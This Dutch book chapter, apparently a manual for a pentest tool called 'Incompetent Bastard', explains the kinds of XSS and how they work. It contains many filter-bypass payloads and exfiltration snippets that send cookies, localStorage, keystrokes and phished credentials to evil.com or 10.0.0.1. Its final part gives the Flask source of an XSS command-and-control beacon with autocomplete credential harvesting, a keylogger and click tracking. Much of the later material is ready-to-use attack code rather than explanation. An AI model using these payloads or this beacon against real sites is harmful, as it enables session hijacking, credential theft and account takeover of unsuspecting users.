Cross-Site Scripting (XSS)

Waarin we ontdekken dat een taal die in tien dagen werd geschreven nu de sleutel tot het koninkrijk bewaakt, en hoe fluisterende scripts op drukke feesten de boel op stelten zetten.


4.1 De taal die niemand serieus nam

In mei 1995, terwijl de rest van de wereld zich druk maakte over Windows 95 en de vraag of het internet een rage was die wel zou overwaaien, zat een man genaamd Brendan Eich bij Netscape tien dagen lang als een bezetene te programmeren. Het resultaat was een scripttaal die aanvankelijk Mocha heette, daarna LiveScript, en uiteindelijk JavaScript – niet omdat het iets met Java te maken had, maar omdat de marketing- afdeling dacht dat de naam wel lekker zou verkopen.

Tien dagen. Laat dat even bezinken.

De meeste mensen hebben tien dagen nodig om een IKEA-kast in elkaar te zetten. Of om te beslissen welke kleur ze de badkamer willen verven. Brendan Eich bouwde in die tijd een programmeertaal die nu letterlijk het zenuwstelsel is van elke website die je bezoekt. Elke knop waar je op klikt, elk formulier dat je invult, elke animatie die je irriteert – het draait allemaal op die haastige, wanhopige tien dagen code.

En hier wordt het interessant: die taal, geboren in haast en opgegroeid in chaos, is nu verantwoordelijk voor het verwerken van je bankgegevens, je medische dossiers, je belastingaangiftes. Het is alsof je ontdekt dat het vliegtuig waar je in zit is ontworpen door iemand die er een lang weekend voor had.

Cross-Site Scripting – XSS voor vrienden – is wat er gebeurt wanneer een aanvaller erin slaagt om zijn eigen JavaScript-code uit te voeren in de browser van iemand anders. Stel je het zo voor: je bent op een druk feest. Iedereen praat door elkaar heen. En dan slaagt iemand erin om de barman ervan te overtuigen dat jij hebt gezegd dat hij al je drankjes op jouw rekening moet zetten. De barman gelooft het, want het kwam via het juiste kanaal – via de website die je vertrouwt.

Dat is XSS in een notendop. De website vertrouwt de input. De browser vertrouwt de website. En de gebruiker vertrouwt de browser. Het is een drietrapsraket van misplaatst vertrouwen.

IB Tip: XSS staat al jaren in de OWASP Top 10 en is een van de meest voorkomende kwetsbaarheden op het web. Het feit dat het zo vaak voorkomt na meer dan twintig jaar is eigenlijk een beschamende zaak voor de hele industrie.


4.2 De drie smaken van ellende: typen XSS

XSS komt in drie varianten, zoals een onprettig assortiment bonbons waar je niet om hebt gevraagd. Elke variant heeft zijn eigen karakter, zijn eigen methode van overleven, en zijn eigen manier om je dag te verpesten.

4.2.1 Reflected XSS – de echo-aanval

Reflected XSS is de eenvoudigste vorm, en tegelijkertijd de meest alomtegenwoordige. Het werkt als volgt: een aanvaller stopt kwaadaardige code in een URL, stuurt die URL naar het slachtoffer, en de server stuurt de code braaf terug als onderdeel van de pagina.

Stel je een zoekfunctie voor. Je zoekt naar “katten” en de pagina zegt: “Je zocht naar: katten.” Prachtig. Maar wat als je zoekt naar iets anders?

https://example.com/zoek?q=<script>alert('XSS')</script>

En de server antwoordt met:

<p>Je zocht naar: <script>alert('XSS')</script></p>

De browser ziet het <script>-element, haalt zijn schouders op, en voert het uit. Zo hoort het immers. De server zei dat het moest. Wie is de browser om te twijfelen?

Het “reflected” deel van de naam verwijst naar het feit dat de payload wordt weerkaatst door de server – als een tennisbal die je tegen een muur gooit. De aanvaller gooit, de server kaatst, en de browser van het slachtoffer vangt. Alleen is het geen tennisbal maar een granaat.

De truc is dat het slachtoffer op een link moet klikken. Dat klinkt als een obstakel, maar mensen klikken overal op. We klikken op links in e-mails van “banken” die we niet hebben. We klikken op links die beloven dat we de vijfhonderdste bezoeker zijn. We klikken op links omdat het dinsdag is en we ons vervelen.

Voorbeeld – reflected XSS in een zoekparameter:

<!-- Server-side template die input niet encodeert -->
<h2>Zoekresultaten voor: <?= $_GET['q'] ?></h2>
GET /zoek?q=<img src=x onerror=alert(document.cookie)> HTTP/1.1
Host: kwetsbare-site.nl

De response bevat dan:

<h2>Zoekresultaten voor: <img src=x onerror=alert(document.cookie)></h2>

De browser probeert braaf een afbeelding te laden van x, dat mislukt (vanzelf- sprekend), de onerror handler vuurt, en plots zie je je cookies op het scherm.

Context is allesbepalend. Dezelfde payload werkt compleet anders afhankelijk van waar de input terechtkomt in de HTML. In een HTML-element context heb je andere escape-karakters nodig dan in een attribuut of in een JavaScript-string. Dit is een punt waar veel ontwikkelaars de mist in gaan: ze encoderen voor de verkeerde context, of ze denken dat encoding in een context ook werkt in een andere.

<!-- HTML context: < en > moeten geencodeerd -->
<p>Hallo <?= htmlspecialchars($naam) ?></p>

<!-- Attribuut context: " moet geencodeerd -->
<input value="<?= htmlspecialchars($naam, ENT_QUOTES) ?>">

<!-- JavaScript context: heel andere encoding nodig -->
<script>var naam = "<?= $naam ?>";</script>
<!-- ^ GEVAARLIJK als $naam = "; alert(1);// -->

4.2.2 Stored XSS – de sluipmoordenaar

Als reflected XSS een briefbom is, dan is stored XSS een landmijn. De payload wordt opgeslagen op de server – in een database, een bestand, een logboek – en elke keer dat iemand de pagina bezoekt, gaat het ding af.

Denk aan een gastenboek, een forum, een beoordelingssectie. De aanvaller plaatst een bericht:

Geweldige service! ★★★★★
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

Het bericht wordt opgeslagen. De volgende keer dat iemand de beoordelingspagina bezoekt – de eigenaar van de site, een willekeurige klant, maakt niet uit – voert hun browser het script uit. Zonder dat ze op een link hoefden te klikken. Zonder dat ze iets verdachts deden. Ze bezochten gewoon een webpagina.

De impact van stored XSS is exponentieel groter dan reflected XSS. Een stored XSS op een populaire pagina kan duizenden gebruikers raken. Het is het verschil tussen een sniper die een voor een schiet en een landmijn die iedereen raakt die er overheen loopt.

Voorbeeld – stored XSS in een commentaarveld:

// Aanvaller plaatst dit als "reactie":
Goede post!<script>
  var img = new Image();
  img.src = "https://evil.com/log?cookie=" + document.cookie;
</script>
# Server-side: sla op zonder sanitization
@app.route('/comment', methods=['POST'])
def add_comment():
    comment = request.form['comment']
    db.session.add(Comment(text=comment))  # Geen filtering!
    db.session.commit()
    return redirect('/post/1')
<!-- Template: toon zonder encoding -->
{% for comment in comments %}
  <div class="comment">{{ comment.text | safe }}</div>
  <!-- Die | safe filter is hier het probleem -->
{% endfor %}

Elke bezoeker van /post/1 stuurt nu onbewust zijn cookies naar evil.com.

IB Tip: Bij een pentest is stored XSS altijd een grotere bevinding dan reflected XSS. De reden is simpel: het slachtoffer hoeft niks te doen behalve de pagina bezoeken. Er is geen phishing-link nodig, geen social engineering. De kwetsbaarheid wacht geduldig op zijn slachtoffers.

4.2.3 DOM-based XSS – de onzichtbare

DOM-based XSS is de derde variant, en in sommige opzichten de meest verraderlijke. Bij reflected en stored XSS gaat de kwaadaardige input via de server. Bij DOM-based XSS komt de server er niet eens aan te pas. Het gebeurt volledig in de browser, in het Document Object Model – die boomstructuur waar JavaScript zo dol op is.

De kwetsbaarheid ontstaat wanneer JavaScript een waarde leest uit een bron die de aanvaller controleert (een “source”) en die waarde doorgeeft aan een functie die code kan uitvoeren (een “sink”).

Veelvoorkomende sources:

Source Beschrijving
document.URL De volledige URL van de pagina
document.referrer De URL van de vorige pagina
location.hash Het fragment na # in de URL
location.search De query string na ?
window.name De naam van het window object
postMessage data Data ontvangen via cross-origin messaging

Veelvoorkomende sinks:

Sink Risico
document.write() Schrijft direct HTML naar de pagina
innerHTML Parseert en rendert HTML
eval() Voert een string uit als JavaScript
setTimeout(string) Voert een string uit als JavaScript
location.href Kan javascript: protocol accepteren
jQuery.html() jQuery’s innerHTML-equivalent

Voorbeeld – DOM-based XSS via location.hash:

<div id="welkom"></div>
<script>
  // Lees de naam uit de URL hash
  var naam = decodeURIComponent(location.hash.substring(1));
  document.getElementById('welkom').innerHTML = 'Welkom, ' + naam;
</script>

Bezoek nu:

https://example.com/pagina#<img src=x onerror=alert(1)>

Het fragment na # wordt nooit naar de server gestuurd. De server logt niks. Een WAF ziet niks. Het gebeurt allemaal in de browser, in stilte, als een dief die door het raam klimt terwijl de beveiliger aan de voordeur staat.

Dit maakt DOM-based XSS bijzonder lastig om te detecteren. Server-side logging helpt niet. Web Application Firewalls die alleen het verkeer inspecteren, missen het volledig. Je hebt client-side analyse nodig, of een ontwikkelaar die daad- werkelijk nadenkt over hoe data door de DOM stroomt.

Een realistischer voorbeeld – DOM XSS via postMessage:

// Pagina luistert naar postMessage events
window.addEventListener('message', function(event) {
  // GEEN origin check! Iedereen mag een bericht sturen.
  document.getElementById('notificatie').innerHTML = event.data;
});
<!-- Aanvaller's pagina -->
<iframe src="https://kwetsbare-site.nl/dashboard" id="target"></iframe>
<script>
  // Wacht tot iframe geladen is, stuur dan payload
  document.getElementById('target').onload = function() {
    this.contentWindow.postMessage(
      '<img src=x onerror=alert(document.cookie)>',
      '*'
    );
  };
</script>

IB Tip: Bij het testen op DOM-based XSS is de browser DevTools console je beste vriend. Zoek naar innerHTML, document.write, en eval in de JavaScript-bestanden. Tools als Burp Suite’s DOM Invader kunnen ook helpen bij het automatisch identificeren van source-sink combinaties.


4.3 Payloads en context: het juiste gereedschap voor de juiste klus

Nu we de drie typen kennen, wordt het tijd om te praten over het echte handwerk: de payloads. Want XSS is contextgevoelig. Dezelfde payload die werkt in de ene situatie doet helemaal niks in een andere. Het is als proberen een schroef in te draaien met een hamer – technisch gezien gebruik je gereedschap, maar je bereikt er niks mee.

4.3.1 HTML context

Dit is de meest voorkomende situatie: je input belandt direct in de HTML-body, tussen tags.

<p>Welkom, AANVALLER_INPUT</p>

Hier zijn de klassieke payloads:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

De <script>-tag is de meest voor de hand liggende, maar ook de meest gefilterde. Veel ontwikkelaars denken: “Als ik <script> blokkeer, ben ik veilig.” Dat is net zoiets als denken dat je veilig bent voor inbrekers als je de voordeur op slot doet terwijl alle ramen open staan.

Er zijn honderden HTML-elementen met event handlers. Je hoeft er maar een te vinden die niet gefilterd is:

<details open ontoggle=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>

Het <img src=x onerror=...> patroon is bijzonder populair omdat het geen gebruikersinteractie vereist. De browser probeert de afbeelding te laden, faalt, en vuurt het onerror event. Automatisch. Betrouwbaar. Elke keer.

4.3.2 Attribuut context

Soms belandt je input in een HTML-attribuut:

<input type="text" value="AANVALLER_INPUT">

Hier moet je eerst uit het attribuut breken:

" onfocus="alert(1)" autofocus="

Wat resulteert in:

<input type="text" value="" onfocus="alert(1)" autofocus="">

Of je breekt uit de hele tag:

"><script>alert(1)</script>
<input type="text" value=""><script>alert(1)</script>">

Als dubbele aanhalingstekens gefilterd zijn, probeer dan enkele:

' onfocus='alert(1)' autofocus='

Of als beide gefilterd zijn maar de context het toelaat, event handlers zonder aanhalingstekens:

x onfocus=alert(1) autofocus

4.3.3 JavaScript context

Dit is waar het echt lastig wordt. Je input zit in een JavaScript-string:

<script>
  var zoekterm = "AANVALLER_INPUT";
  // doe iets met zoekterm
</script>

Hier hoef je geen nieuwe tag te injecteren. Je moet alleen uit de string breken:

"; alert(1); //

Resultaat:

<script>
  var zoekterm = ""; alert(1); //";
  // doe iets met zoekterm
</script>

De // aan het einde maakt de rest een comment, zodat de syntax geldig blijft.

Als de ontwikkelaar aanhalingstekens escaped met een backslash (\"), kun je proberen om de backslash zelf te escapen:

\"; alert(1); //

Dit produceert:

<script>
  var zoekterm = "\\"; alert(1); //";
</script>

De \\ is nu een escaped backslash, niet een escaped aanhalingsteken. De string eindigt bij het tweede ", en je code wordt uitgevoerd.

Als je in een template literal zit (backticks), gebruik dan:

${alert(1)}
var bericht = `Welkom, ${alert(1)}`;

4.3.4 URL context

Input die in een href of src attribuut belandt:

<a href="AANVALLER_INPUT">Klik hier</a>

Hier kun je het javascript: protocol gebruiken:

javascript:alert(1)
<a href="javascript:alert(1)">Klik hier</a>

Sommige filters blokkeren javascript: maar vergeten variaties:

javascript:alert(1)
JaVaScRiPt:alert(1)
java%0ascript:alert(1)

Die laatste gebruikt een URL-geencodeerde newline (%0a) om het keyword te splitsen.

4.3.5 Filter bypass technieken

En hier komen we bij het kat-en-muisspel dat security zo fascinerend maakt. De verdedigers bouwen filters, de aanvallers omzeilen ze. Het is een wapenwedloop die al twintig jaar bezig is en die de verdedigers consequent verliezen.

Case variation:

<ScRiPt>alert(1)</sCrIpT>

HTML is case-insensitive. JavaScript is dat niet, maar de tag-parser wel. Als het filter zoekt naar <script> maar niet naar <ScRiPt>, heb je een probleem.

Geneste tags (double encoding):

<scr<script>ipt>alert(1)</scr</script>ipt>

Als het filter de binnenste <script> verwijdert, blijft de buitenste over.

HTML entity encoding:

<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

Dat is alert(1) in HTML character references. De browser decodeert ze voordat JavaScript ze verwerkt.

Zonder haakjes:

<img src=x onerror=alert`1`>
<img src=x onerror="window.onerror=alert;throw 1">

De eerste gebruikt template literal syntax in plaats van haakjes. De tweede overschrijft de globale error handler en gooit dan een error.

Extern script laden:

<script src="http://10.0.0.1/xss.js"></script>

Of dynamisch:

<img src=x onerror="s=document.createElement('script');
  s.src='http://10.0.0.1/xss.js';
  document.body.appendChild(s)">

Dit is de meest krachtige variant: je hoeft niet je hele payload in de injectie te proppen. Je laadt gewoon een extern script dat zo lang en complex kan zijn als je wilt.

De polyglot – het Zwitsers zakmes:

Een polyglot is een payload die werkt in meerdere contexten tegelijk:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//
%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/
--!>\x3csVg/<sVg/oNloAd=alert()//>

Dit monster is ontworpen om te werken ongeacht de HTML-context waarin het belandt. Het is lelijk, het is onleesbaar, en het werkt vaker dan je zou willen.

IB Tip: Gebruik Burp Intruder met een XSS polyglot wordlist voor fuzzing. Begin met de simpele payloads en werk naar boven. Vaak is <img src=x onerror=alert(1)> genoeg – ontwikkelaars vergeten event handlers veel vaker dan <script> tags.


4.4 IB Command: web_xss_payloads

Incompetent Bastard bevat een verzameling bewezen XSS-payloads in het command bestand web_xss_payloads. Dit is je spiekbriefje tijdens een assessment – geordend van basis tot geavanceerd.

# Bestandslocatie:
# http/commands/web_xss_payloads

Basis payloads – de eerste test:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

Begin hier. Als een van deze werkt, heb je een triviale XSS gevonden en mag de ontwikkelaar zich schamen.

innerHTML bypass:

<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
<input onfocus=alert(1) autofocus>

Belangrijk detail: <script> tags die via innerHTML worden ingevoegd, worden niet uitgevoerd. Dat is een bewuste beperking van de HTML-specificatie. Maar event handlers op andere elementen werken wel prima. De specificatie is hier dus selectief beschermend – een beetje zoals een uitsmijter die messentrekt controleert maar pistolen laat passeren.

Event handlers – de oneindige lijst:

<div onmouseover="alert(1)">hover me</div>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>

Er zijn tientallen event handlers in HTML. onerror, onload, onfocus, onblur, onmouseover, onmouseout, onclick, onchange, oninput, ontoggle, onstart – de lijst gaat maar door. Elk element dat een event handler ondersteunt is een potentiele XSS-vector.

Tag en keyword bypass:

<ScRiPt>alert(1)</sCrIpT>
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x onerror=alert`1`>

Encoding bypass:

<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
javascript:alert(1)

Zonder haakjes:

<img src=x onerror=alert`1`>
<img src=x onerror="window.onerror=alert;throw 1">

Extern script laden:

<script src="http://10.0.0.1/xss.js"></script>
<img src=x onerror="s=document.createElement('script');
  s.src='http://10.0.0.1/xss.js';
  document.body.appendChild(s)">

De vuistregel is: begin simpel, ga complexer als het nodig is. Als <script> alert(1)</script> niet werkt, probeer dan variaties. Als alle standaard-tags geblokkeerd zijn, probeer dan encoding. En als je echt niks vindt, gebruik dan een fuzzer met een volledige payload-lijst.

IB Tip: De web_xss_payloads commandfile is bedoeld als startpunt, niet als uitputtende lijst. De echte waarde zit in het begrijpen waarom elke payload werkt – welke filter omzeilt hij, welke context exploiteert hij. Gebruik het als referentie, niet als een blinde kopieermachine.


Oké, we kunnen alert(1) laten zien. Heel indrukwekkend. De klant zegt: “Ja, en? Er verscheen een pop-up. Wat is het echte risico?”

Het echte risico is session hijacking. En dat begint bij cookies.

Cookies zijn die kleine stukjes data die websites in je browser opslaan om je te “onthouden.” Je session cookie is het bewijs dat je bent ingelogd. Als iemand die cookie heeft, kan hij doen alsof hij jij is. Zonder wachtwoord. Zonder twee- factorauthenticatie. Gewoon door de cookie in zijn eigen browser te plakken.

4.5.1 De klassieke methode: document.cookie

new Image().src = "http://10.0.0.1/steal?c=" + document.cookie;

Dat is het. Een regel. Die ene regel kan een bedrijf op zijn knieen brengen.

Het werkt zo: JavaScript maakt een nieuw Image object aan. De browser probeert de “afbeelding” te laden van de URL, die de cookies als parameter meestuurt. De server van de aanvaller ontvangt het verzoek en slaat de cookies op. Het slachtoffer merkt niks – er is geen pop-up, geen redirect, geen enkele visuele indicatie dat er iets mis is.

Alternatief met fetch:

fetch("http://10.0.0.1/steal?c=" + document.cookie);

Modernere syntax, zelfde effect. De fetch API stuurt een HTTP-verzoek naar de server van de aanvaller.

4.5.2 Meer dan cookies: de complete plundering

Maar waarom stoppen bij cookies? Als je JavaScript kunt uitvoeren in iemands browser, kun je alles stelen wat de browser kan zien.

localStorage en sessionStorage:

fetch("http://10.0.0.1/steal?ls=" +
  encodeURIComponent(JSON.stringify(localStorage)));

fetch("http://10.0.0.1/steal?ss=" +
  encodeURIComponent(JSON.stringify(sessionStorage)));

Veel moderne applicaties slaan tokens, gebruikersgegevens, en andere gevoelige data op in localStorage. In tegenstelling tot cookies worden deze niet automatisch meegestuurd met HTTP-verzoeken, maar ze zijn wel volledig toegankelijk via JavaScript. En hier is het pijnlijke: HttpOnly – de vlag die cookies beschermt tegen JavaScript-toegang – bestaat niet voor localStorage.

Keylogger:

document.addEventListener('keydown', function(e) {
  new Image().src = "http://10.0.0.1/log?k=" + e.key;
});

Elke toetsaanslag die het slachtoffer maakt op de geinfecteerde pagina wordt verzonden naar de aanvaller. Wachtwoorden. Creditcardnummers. Persoonlijke berichten. Alles.

Credential phishing – de pagina vervangen:

document.getElementsByTagName("html")[0].innerHTML =
  '<h1>Sessie verlopen</h1>' +
  '<form action="http://10.0.0.1/phish" method="POST">' +
  '<input name="user" placeholder="Username">' +
  '<input name="pass" type="password" placeholder="Password">' +
  '<button>Login</button></form>';

De hele pagina wordt vervangen door een nep-loginformulier. De URL-balk toont nog steeds de originele, vertrouwde domeinnaam. Het slachtoffer ziet een “sessie verlopen” melding en voert argeloos zijn credentials in. Die gaan rechtstreeks naar de aanvaller.

CSRF via XSS – acties uitvoeren als het slachtoffer:

fetch("/admin/adduser", {
  method: "POST",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "username=hacker&password=hacked&role=admin",
  credentials: "include"
});

XSS plus CSRF is een dodelijke combinatie. De credentials: "include" zorgt ervoor dat de cookies van het slachtoffer worden meegestuurd. De server denkt dat het slachtoffer zelf het verzoek stuurt. Er wordt een admin-account aangemaakt. Game over.

Authenticated content scraping:

var i = document.createElement('iframe');
i.src = '/admin/secret';
i.onload = function() {
  fetch("http://10.0.0.1/exfil", {
    method: "POST",
    body: i.contentDocument.body.innerHTML
  });
};
document.body.appendChild(i);

Dit laadt een pagina die het slachtoffer mag zien (bijvoorbeeld een admin-pagina) in een onzichtbaar iframe, en stuurt de inhoud naar de aanvaller. Het slachtoffer merkt niks – het iframe is onzichtbaar en het laden gebeurt op de achtergrond.

IB Tip: Als HttpOnly is gezet op de session cookie, kun je die niet stelen via document.cookie. Maar dat betekent niet dat XSS onbruikbaar is. Je kunt nog steeds CSRF-aanvallen uitvoeren, credentials phishen, localStorage stelen, en keyloggen. HttpOnly is een laag verdediging, niet de hele verdediging.


4.6 IB Command: web_xss_steal

Het web_xss_steal command bestand bundelt alle bovengenoemde exfiltratie-payloads in een handig overzicht. Dit is wat je pakt als de klant vraagt: “Maar wat kan een aanvaller echt doen met XSS?”

# Bestandslocatie:
# http/commands/web_xss_steal

Het bestand bevat payloads voor:

  1. Cookie stealing – de klassieke new Image().src en fetch() methoden
  2. localStorage/sessionStorage – voor applicaties die tokens client-side opslaan
  3. Keylogging – elke toetsaanslag vastleggen
  4. Credential phishing – de pagina vervangen met een nep-loginformulier
  5. CSRF via XSS – acties uitvoeren namens het slachtoffer
  6. Authenticated content scraping – data lezen waar het slachtoffer bij kan

De twee tips onderaan het bestand zijn cruciaal:

  1. Gebruik de /x.js beacon van het IB lab voor automatische hooking (daar gaan we zo uitgebreid op in)
  2. HttpOnly cookies zijn niet via JavaScript te lezen – gebruik dan CSRF als alternatieve aanvalsvector

4.7 Het IB XSS Beacon Lab: je eigen command and control

Nu komen we bij het hart van dit hoofdstuk. Het onderdeel waar Incompetent Bastard echt laat zien waar het voor staat. Vergeet die simpele alert(1) demo’s – we gaan het hebben over een volledig operationeel XSS command and control framework, ingebouwd in de applicatie.

Waar andere tools je een payload laten genereren en je dan aan je lot overlaten, biedt IB een compleet dashboard voor het beheren van gehoekte browsers. Het is als het verschil tussen een hengel en een vissersboot met sonar: je kunt met allebei vissen, maar de een is duidelijk effectiever.

4.7.1 Architectuur: hoe de beacon werkt

Het XSS beacon systeem bestaat uit drie componenten:

  1. De beacon JavaScript (/x.js of /xxs.js) – dit is het script dat je injecteert via een XSS-kwetsbaarheid
  2. De callback endpoints – Flask routes die data ontvangen en opslaan
  3. Het dashboard (/dashboard/xxs) – een webinterface om alles te bekijken en te beheren

De hele architectuur zit in de xxs_bp blueprint (meuk/flask/xxs.py) met bijbehorende database modellen in meuk/flask/models.py.

De blueprint registratie:

xxs_bp = Blueprint('xxs_bp', __name__,
                    template_folder='html',
                    static_folder='static')

4.7.2 De beacon: /x.js

Wanneer een slachtoffer een pagina bezoekt met een XSS-kwetsbaarheid waar de beacon is geinjekteerd, wordt /x.js geladen. Dit bestand is geen statisch JavaScript-bestand – het is een Flask route die dynamisch JavaScript genereert.

@xxs_bp.route("/x.js", methods=["GET","POST"])
@xxs_bp.route("/xxs.js", methods=["GET", "POST"])
def xss_hooked():
    ip = request.remote_addr
    if ip != appdata.ikzelf:
        ua = request.headers.get('User-Agent')
        loc = request.headers.get('Referer')
        md5 = hashlib.md5(str(ip+ua).encode())
        hebben = db_xxs_cookies.query.filter_by(
            ip=ip, agent=ua, md5=md5.hexdigest()
        ).first()
        if hebben == None:
            bevdb = db_xxs_hooked(
                ip=ip, agent=ua, md5=md5.hexdigest()
            )
            db.session.add(bevdb)
            db.session.commit()
        pagina = render_template('xss.html',
                                 localhost=appdata.localhost)
    else:
        pagina = render_template('xss-blanco.html',
                                 localhost=appdata.localhost)

    return pagina, 200, {
        'Content-Type': 'text/javascript',
        'Cache-Control': 'no-cache, no-store, must-revalidate',
        'Pragma': 'no-cache',
        'Expires': '0'
    }

Laten we dit stap voor stap ontleden.

Stap 1: Zelfherkenning. De route controleert of het verzoek komt van appdata.ikzelf – het IP-adres van de pentester zelf. Als jij je eigen beacon opvraagt, krijg je xss-blanco.html terug, dat gewoon alert(document.cookie) doet. Een handige test-modus. Als het verzoek van iemand anders komt – een slachtoffer – krijgt die het echte, kwaadaardige script.

Dit is een slim detail. Je wilt niet dat je eigen browser wordt gehoekt terwijl je aan het testen bent. Incompetent Bastard weet wie je bent en gedraagt zich anders.

Stap 2: Registratie. De route maakt een MD5-hash van het IP-adres plus de User- Agent string. Als die combinatie nog niet in de database staat, wordt er een nieuw db_xxs_hooked record aangemaakt. Het slachtoffer is nu “gehoekt” – geregistreerd als een actieve client.

Stap 3: Payload delivery. Het script dat wordt teruggestuurd is de xss.html template, maar met Content-Type: text/javascript – zodat de browser het als JavaScript interpreteert, niet als HTML. De anti-cache headers zorgen ervoor dat de browser het script elke keer opnieuw ophaalt, zodat updates in het script direct effect hebben.

4.7.3 Wat de beacon doet: het JavaScript

De daadwerkelijke beacon JavaScript (uit xss.html) is een meesterwerk van efficiëntie. In vijftig regels code doet het alles wat je nodig hebt:

Module 1 – Cookie harvesting:

var i = new Image;
i.src = "{{localhost}}/xxs/cookies?data=" + document.cookie;

Zodra het script laadt, stuurt het alle cookies naar het IB-dashboard. De Image truc is oud maar betrouwbaar – het werkt zelfs als CORS de fetch API blokkeert, want afbeeldingsverzoeken zijn niet gebonden aan het same-origin beleid.

Module 2 – localStorage exfiltratie:

let data = JSON.stringify(localStorage);
let encodedData = encodeURIComponent(data);
fetch("{{localhost}}/xxs/localstorage?data=" + encodedData);

Alles wat de applicatie heeft opgeslagen in localStorage wordt geserialiseerd naar JSON, URL-geencodeerd, en naar het dashboard gestuurd. Tokens, voorkeuren, gecachte data – alles.

Module 3 – Autocomplete credential harvesting:

var u = document.createElement("input");
u.type = "text";
u.autocomplete = "on";
u.style.position = "fixed";
u.style.opacity = "0";

var p = document.createElement("input");
p.type = "password";
p.autocomplete = "on";
p.style.position = "fixed";
p.style.opacity = "0";

body.append(u);
body.append(p);
setTimeout(function() {
  fetch("{{localhost}}/xxs/gebruiker?u=" + u.value +
        "&p=" + p.value)
}, 5000);

Dit is schitterend sluw. Het script maakt onzichtbare invoervelden aan met autocomplete="on". Sommige browsers vullen deze automatisch in met opgeslagen credentials. Na vijf seconden wachten (genoeg tijd voor autocomplete om zijn werk te doen) worden de waarden naar het dashboard gestuurd.

Het is alsof je een blanco cheque op tafel legt en wacht tot iemand hem tekent.

Module 4 – Keylogger:

function logKey(event) {
  fetch("{{localhost}}/xxs/keylogger?data=" + event.key);
}
document.addEventListener('keydown', logKey);

Elke toetsaanslag wordt naar het dashboard gestuurd. Letter voor letter.

Module 5 – Click tracker:

function click(e) {
  e = e || window.event;
  var target = e.target || e.srcElement;
  fetch("{{localhost}}/xxs/keylogger?data=\n\n<klik>" +
        target + "</klik>");
}
document.addEventListener('click', click);

Niet alleen toetsaanslagen, maar ook klikken worden gevolgd. Het target-element wordt meegezonden, zodat je op het dashboard kunt zien waar het slachtoffer op klikte.

4.7.4 De callback endpoints

Elk type data heeft zijn eigen endpoint:

Cookies: /xxs/cookies

@xxs_bp.route("/xxs/cookies", methods=["GET", "POST"])
def xss_cookies():
    ip = request.remote_addr
    if request.args.get('data') and ip != appdata.ikzelf:
        loc = request.headers.get('Referer')
        ua = request.headers.get('User-Agent')
        md5 = hashlib.md5(request.args.get('data').encode())

        hebben = db_xxs_cookies.query.filter_by(
            ip=ip, agent=ua, md5=md5.hexdigest()
        ).first()
        if hebben == None:
            bevdb = db_xxs_cookies(
                ip=ip, agent=ua, locatie=loc,
                datum=vandaag, md5=md5.hexdigest(),
                cookies=request.args.get('data')
            )
            db.session.add(bevdb)
            db.session.commit()

        return '[!] Tot ziens en bedankt voor de vis.', 200, {
            'Content-Type': 'text/javascript',
            'Access-Control-Allow-Origin': 'http://' +
                (request.referrer if request.referrer
                 else request.remote_addr),
            ...
        }

Een paar dingen vallen op:

  1. Deduplicatie via MD5. De hash van de cookie-data wordt opgeslagen. Als dezelfde cookies opnieuw binnenkomen (bijvoorbeeld bij een page refresh), worden ze niet dubbel opgeslagen. Slim.

  2. CORS headers. De response bevat Access-Control-Allow-Origin met het referrer-domein. Dit is nodig omdat de beacon cross-origin verzoeken stuurt – van het domein van het slachtoffer naar het IB-dashboard.

  3. Douglas Adams referentie. De response body is “[!] Tot ziens en bedankt voor de vis.” – een verwijzing naar The Hitchhiker’s Guide to the Galaxy. Zelfs in kwaadaardige JavaScript is er ruimte voor humor.

localStorage: /xxs/localstorage

@xxs_bp.route("/xxs/localstorage", methods=["GET", "POST"])
def xss_localstorage():
    ip = request.remote_addr
    if request.args.get('data') and ip != appdata.ikzelf:
        loc = request.headers.get('Referer')
        ua = request.headers.get('User-Agent')
        md5 = hashlib.md5(request.args.get('data').encode())

        hebben = db_xxs_localstorage.query.filter_by(
            ip=ip, agent=ua, md5=md5.hexdigest()
        ).first()
        if hebben == None:
            bevdb = db_xxs_localstorage(
                ip=ip, agent=ua, locatie=loc,
                datum=vandaag, md5=md5.hexdigest(),
                localstorage=request.args.get('data')
            )
            db.session.add(bevdb)
            db.session.commit()
        ...

Zelfde patroon als de cookie endpoint. Data binnenkomt, dedupliceren, opslaan.

Keylogger: /xxs/keylogger

@xxs_bp.route("/xxs/keylogger", methods=["GET", "POST"])
def xss_keylogger():
    ip = request.remote_addr
    if ip != '127.3.0.1':
        loc = request.headers.get('Referer')
        ua = request.headers.get('User-Agent')
        data = request.args.get('data')
        if data == '':
            data = ' '

        hebben = db_xxs_keylogger.query.filter_by(
            ip=ip, agent=ua, locatie=loc
        ).first()
        if hebben == None:
            bevdb = db_xxs_keylogger(
                ip=ip, agent=ua, locatie=loc,
                datum=vandaag, toetsen=data
            )
            db.session.add(bevdb)
            db.session.commit()
        else:
            bevdb = db_xxs_keylogger.query.get(hebben.id)
            bevdb.toetsen = hebben.toetsen + data
            db.session.commit()

De keylogger endpoint is anders dan de anderen. In plaats van elke toetsaanslag als apart record op te slaan (wat de database zou laten exploderen), appendeert het nieuwe toetsen aan het bestaande record. De combinatie van IP, User-Agent, en Referer vormt de unieke identificatie van een sessie. Alles wat het slachtoffer typt op dezelfde pagina komt in een toenemend langer wordende string terecht.

Het veld heet toetsen – Nederlands voor “toetsen” of “keys.” Het is een charming detail in een verder tamelijk verontrustend stuk code.

C2 Commands: /xxs/commands

@xxs_bp.route("/xxs/commands", methods=["GET", "POST"])
def xss_c2():
    return '[!] Tot ziens en bedankt voor de vis.', 200, {
        'Content-Type': 'text/javascript',
        'Access-Control-Allow-Origin': 'http://' +
            (request.referrer if request.referrer
             else request.remote_addr),
        ...
    }

